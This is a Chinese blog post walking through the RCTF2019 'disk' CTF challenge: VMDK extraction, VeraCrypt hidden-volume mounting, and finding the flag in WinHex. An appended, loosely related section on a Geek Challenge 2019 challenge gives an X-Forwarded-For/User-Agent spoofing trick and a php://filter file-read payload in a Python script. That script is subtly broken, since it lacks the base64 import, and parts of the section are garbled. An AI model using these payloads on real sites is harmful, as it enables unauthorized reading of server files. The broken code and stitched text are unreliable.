BuuCTF难题详解| Misc | [RCTF2019]disk

栏目介绍

这题难点,在如何挂载。也是一个脑洞蛮大的题目。

BuuCTF难题详解| Misc | [RCTF2019]disk

P1:

我们获得的文件只有一个在这里插入图片描述
遇到这种文件,一般都是直接拿去内存取证的,然而我取了半天似乎没有什么有用的信息,然后这种文件是虚拟机里面的文件,请看介绍。

VMDK:(VMWare Virtual Machine Disk Format)是虚拟机VMware创建的虚拟硬盘格式,文件存在于VMware文件系统中,被称为VMFS(虚拟机文件系统)

这边我也学会一个技巧,遇到vmdk可以试试使用7z这个压缩软件打开在这里插入图片描述

P2:

分离出这个0.fat,fat这个文件,其实就是一个硬盘可以挂载

FAT格式: 即FAT16,这是MS-DOS和最早期的Win 95操作系统中最常见的磁盘分区格式。它采用16位的文件分配表,能支持最大为2GB的分区,几乎所有的操作系统都支持这一种格式,从DOS、Win
95、Win 97到现在的Win 98、Windows NT、Win
2000,但是在FAT16分区格式中,它有一个最大的缺点:磁盘利用效率低。因为在DOS和Windows系统中,磁盘文件的分配是以簇为单位的,一个簇只分配给一个文件使用,不管这个文件占用整个簇容量的多少。这样,即使一个文件很小的话,它也要占用了一个簇,剩余的空间便全部闲置在那里,形成了磁盘空间的浪费。由于分区表容量的限制,FAT16支持的分区越大,磁盘上每个簇的容量也越大,造成的浪费也越大。所以为了解决这个问题,微软公司在Win
97中推出了一种全新的磁盘分区格式FAT32。

然后我们使用VeraCrypt,进行挂载
在这里插入图片描述
这个挂载密码,RCTF上面是有写上面的,不过应该也不难猜,大家联想一下这个比赛

password:rctf

在这里插入图片描述
到这一步就说明挂载成功,我们打开这个盘看一下
在这里插入图片描述在这里插入图片描述

P3:

发现他有一个图片,和password.txt我当时以为是jpg加密,当时我使用了
silenteye、stegdetect0.4、jphide、Free_File_Camouflage,都不是,后面发现,这个password中的密码,是这个0.fat的隐藏密码

在这里插入图片描述
这里就有一个新的知识点,不同的密码尽然能开启不同的盘瞬间智慧得到了升华。在这里插入图片描述
安装成功他是打不开的,我们只能通过winhex来查看磁盘,在这里插入图片描述
不过winhex一定一定要管理员打开-》打开磁盘-》选择磁盘-》找flag在这里插入图片描述在这里插入图片描述
在这里插入图片描述

很明显的看到了flag后半段,

_and_corrupted_1nner_v0lume}

问题就来了,前半段了???
然后在重新找一下原来,就在0.fat里面在这里插入图片描述

rctf{unseCure_quick_form4t_vo1ume
结合一下
rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}

又掌握了新知识!
在这里插入图片描述

### 极客大挑战 2019 Secret File 竞赛题目解析 #### 文件隐藏与访问控制机制分析 在极客大挑战 2019 中,`Secret.php` 页面位于特定服务器上 `https://Sycsecret.buuoj.cn`。为了成功获取该页面的内容并最终获得 flag,需要满足一系列条件: - 请求头中必须包含自定义的 User-Agent 字段设置为 "Syclover"[^3]。 -For 头部并将 IP 地址设为本地回环接口 (即 127.0.0.1),可以绕过某些基于地理位置的安全检测措施。 这些操作共同作用下能够使服务端认为当前请求来自合法客户端环境,从而允许访问受保护资源。 #### 利用 PHP 伪协议读取 Flag 文件内容 对于名为 `flag.php` 的敏感文件,直接尝试下载可能受到严格限制。此时可借助于PHP特有的过滤器功能来间接实现目标。具体方法是在URL路径后附加查询参数 `?file=php://filter/read=convert.base64-encode/resource=flag.php`,这会指示Web应用以Base64编码形式返回指定文件的数据流而不是实际执行其中代码[^5]。 这种方法巧妙利用了语言特性规避了传统意义上的权限验证流程,使得攻击者能够在不触碰原生防护机制的前提下完成数据泄露过程。 ```python import requests url = 'https://example.com/Secret.php' headers = { 'User-Agent': 'Syclover', 'Referer': url, 'X-Forwarded-For': '127.0.0.1' } params = {'file': 'php://filter/read=convert.base64-encode/resource=flag.php'} response = requests.get(url, headers=headers, params=params) if response.status_code == 200: decoded_content = base64.b64decode(response.text).decode('utf-8') print(decoded_content) else: print(f"Failed to retrieve content with status code {response.status_code}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值